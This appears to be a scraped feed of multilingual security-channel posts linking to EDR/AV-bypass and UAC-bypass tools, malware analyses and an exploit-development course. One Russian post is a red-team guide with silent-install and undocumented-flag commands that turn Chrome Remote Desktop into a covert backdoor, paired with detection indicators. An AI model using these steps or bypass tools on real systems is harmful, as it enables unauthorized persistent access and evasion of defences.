Source Byte

First known AI-powered ransomware https://x.com/ESETresearch/status/1960365364300087724

🛡CreateProcessAsPPL This is a utility for running processes with Protected Process Light (PPL) protection, enabling bypass of EDR/AV solution defensive mechanisms. It leverages legitimate Windows clipup.exe functionality from System32 to create protected processes that can overwrite antivirus service executable files. 🔗 Source: https://github.com/2x7EQ13/CreateProcessAsPPL #av #edr #bypass #ppl

Релиз моей статьи об атаках на IPv6 Caster - Legless (БезногNM) Genre: Offensive Label: exploit.org Release Date: 20 July 2025 Language: English Performed by: Caster Written by: Magama Bazarov Mastered by: Magama Bazarov Cover Edit: Magama Bazarov https://blog.exploit.org/caster-legless

UAC Bypass Chain Leading To Silent Elevation 👾 The Presentation Video My Blog: https://binary-win.github.io/2025/08/22/UAC-Bypass.html

We start in 5 Minutes . This webinar will be in Persian

Breaking modern software protectors through exploitation Reverse engineer VMProtect's obfuscator by using its embedded Lua scripting engine. They recover the original #RTTI information from the obfuscator and get a better understanding of its inner workings. https://www.youtube.com/live/PAG3M7mWT2c?si=Okhlj2PjXqfue5NU #vmprotect source

┐⁠(⁠´⁠ー⁠｀⁠)⁠┌ https://www.linkedin.com/posts/alireza-hosseini-ab53a7282_%EF%BD%93%EF%BD%85%EF%BD%83-%EF%BD%8E%EF%BD%8F%EF%BD%94%EF%BD%85-activity-7363312135457673217-Pc6k?utm_source=share&utm_medium=member_desktop&rcm=ACoAAETB42kB9nlQcP_FDiEg8Yigl_kGSv6f5hE

RTTI Internals in MSVC https://www.lukaszlipski.dev/post/rtti-msvc/ #RTTI

HyperDbg نسخه ۰.۱۵ منتشر شد! ✨🎈 این نسخه با یک دستور جدید وقفه SMM (SMI) ارائه می‌شود و مشکلات شبیه‌سازی Intel CET برای SYSCALL/SYSRET در پردازنده‌های نسل یازدهم (Tiger/Rocket Lake) را برطرف می‌کند، همچنین رجیسترهای XMM را در VM-exits/entries ذخیره/بازیابی می‌کند. آن را بررسی کنید: https://github.com/HyperDbg/HyperDbg/releases/tag/v0.15 اطلاعات بیشتر: https://docs.hyperdbg.org/commands/extension-commands/smi بهبود دستور '.pe': https://docs.hyperdbg.org/commands/meta-commands/.pe

https://x.com/CyberRaiju/status/1956566419388182954 #CVE_2025_300234 , #CVE_2025_300235 , #CVE_2025_300236

🎥 ویدئوی معرفی دوره Exploit Development در لینوکس 📚 توی این دوره قراره یاد بگیریم آسیب‌پذیری‌ها در لینوکس چطور به وجود میان، چطور شناسایی می‌شن و چطور می‌شه ازشون استفاده کرد. قدم‌به‌قدم جلو میریم: از آشنایی با ساختار و امنیت لینوکس، تا پیدا کردن باگ‌ها و نوشتن اکسپلویت برای اون‌ها. 🧨 بخش مهم دوره، مهندسی معکوس برنامه‌های لینوکسیه؛ یعنی یاد می‌گیریم چطور یک فایل اجرایی رو باز کنیم، کدهاشو بخونیم و ضعف‌هاشو پیدا کنیم. با ابزارهایی مثل GDB، pwndbg، Ghidra، Radare2، PwnTools و چند تا ابزار دیگه کار می‌کنیم و در عمل می‌بینیم چطور می‌شه مکانیزم‌های امنیتی مثل ASLR، Stack Canaries، NX رو دور زد. 💣 در طول دوره با انواع آسیب‌پذیری‌ها مثل Buffer Overflow، Integer Overflow، Format String و چیزهای دیگه آشنا می‌شیم، روش‌های بهره‌برداری رو یاد می‌گیریم و روی چالش‌های CTF تمرین می‌کنیم. 💡در پایان هم یک پروژه عملی داریم: تحلیل یک CVE واقعی و نوشتن اکسپلویت برای اون. ⏰ هر پنج‌شنبه منتظر یک فصل از دوره باشید. شروع از ۵شنبه ۳۰ مرداد. https://t.me/OxAA55/140

Vx-Drivers 🕳️ [ Tweet ]

A Mega Malware Analysis Tutorial Featuring Donut-Generated Shellcode We created an in-depth malware analysis tutorial featuring shellcode generated by a tool named Donut. The tutorial walks through a single infection chain from end to end, starting with a sample, and assuming no prior knowledge of the malware in question.

🧪 Abusing Chrome Remote Desktop (CRD) for Covert Access 💻 Red Team tool или вектор для APT? Chrome Remote Desktop (CRD) — легитимный инструмент от Google, позволяющий управлять системой через веб-интерфейс. Но при грамотной установке и конфигурации он превращается в удобный бекдор: скрытный, устойчивый, шифрованный и легитимный. ⚙️ Этапы эксплуатации (Red Team-практика) 📥 Скачивание инсталлятора Переход на remotedesktop.google.com → загрузка .msi через Set up via SSH. 📦 Установка на жертве

msiexec /i chromeremotedesktophost.msi /qn

Требуются локальные админ-права. 🌐 Авторизация через Google-аккаунт В браузере запускается мастер CRD. После авторизации система выдаёт команду настройки подключения с OAuth-кодом. 🛠️ Обход GUI через undocumented флаг Чтобы избежать необходимости ручного ввода PIN через GUI:

remoting_start_host.exe --code="TOKEN" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=123456

Ключ --pin= не задокументирован, но работает (≥ 6 цифр). 📡 Подключение После запуска команды хост появится в веб-интерфейсе CRD. Подключение через браузер: ввод PIN → полный GUI-доступ. Импакт 🔹 Устойчивый доступ (если настроен unattended mode) 🔹 Полноценный GUI 🔹 трафик — уходит в Google 🔹 Низкая видимость: всё работает внутри chrome.exe, без .exe из сторонних RAT'ов 🔹 Отсутствие необходимости в порт-форвардинге / firewall-обходе 🛡️ Detection / Hunting - Установка Chrome Remote Desktop Host: %ProgramFiles(x86)%\Google\Chrome Remote Desktop\ - Службы: remoting_host.exe - Планировщик задач: chromeremotedesktophost - Нетипичный трафик к: remotedesktop-pa.googleapis.com relay.mtls.sandbox.googleapis.com - Поведенческий анализ chrome.exe с GUI-доступом в off-hours 📍Вывод: техника идеально вписывается в APT / Red Team TTPs. CRD — малозаметный способ удалённого управления, особенно актуален при наличии EDR, блокирующего кастомный RAT. Рекомендуется whitelist-контроль (AppLocker, WDAC) и мониторинг установки CRD в инфраструктуре. 🔗https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide 🦔 THF

XWorm V6: Advanced Evasion and AMSI Bypass Capabilities Revealed

Why do these malware samples exhibit such a basic design? 🫥